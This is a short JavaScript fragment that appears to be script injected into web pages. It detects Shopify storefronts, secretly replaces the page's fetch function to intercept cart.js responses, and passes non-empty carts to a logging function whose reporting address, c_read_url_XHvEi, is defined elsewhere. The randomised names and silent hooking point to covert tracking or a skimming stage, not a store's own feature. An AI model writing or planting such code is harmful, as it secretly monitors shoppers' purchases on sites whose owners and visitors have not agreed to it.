function is_shopjis() { var scripts = document.querySelectorAll('script[src*="cdn.shopify.com"], script[src*="/shopify/"], link[href*="cdn.shopify.com"], link[href*="/shopify/"]'); if (scripts.length > 0) { return true; } else { return false; } } if (is_shopjis()) { let isCartChecked_XHvEi = false; async function check_cart_XHvEi () { let originalFetch = window.fetch; window.fetch = function() { return originalFetch.apply(this, arguments).then(response => { try { if (arguments[0].includes('cart.js')) { return response.clone().json().then(data => { if (data.original_total_price && data.original_total_price > 0) { MakeLog_XHvEi(`${c_read_url_XHvEi}cart.js`); } return response; }); } return response; } catch (error) { return response; } }); }; if (!isCartChecked_XHvEi) { isCartChecked_XHvEi = true; await fetch(`${window.location.protocol}//${window.location.hostname}/cart.js`); } } check_cart_XHvEi(); }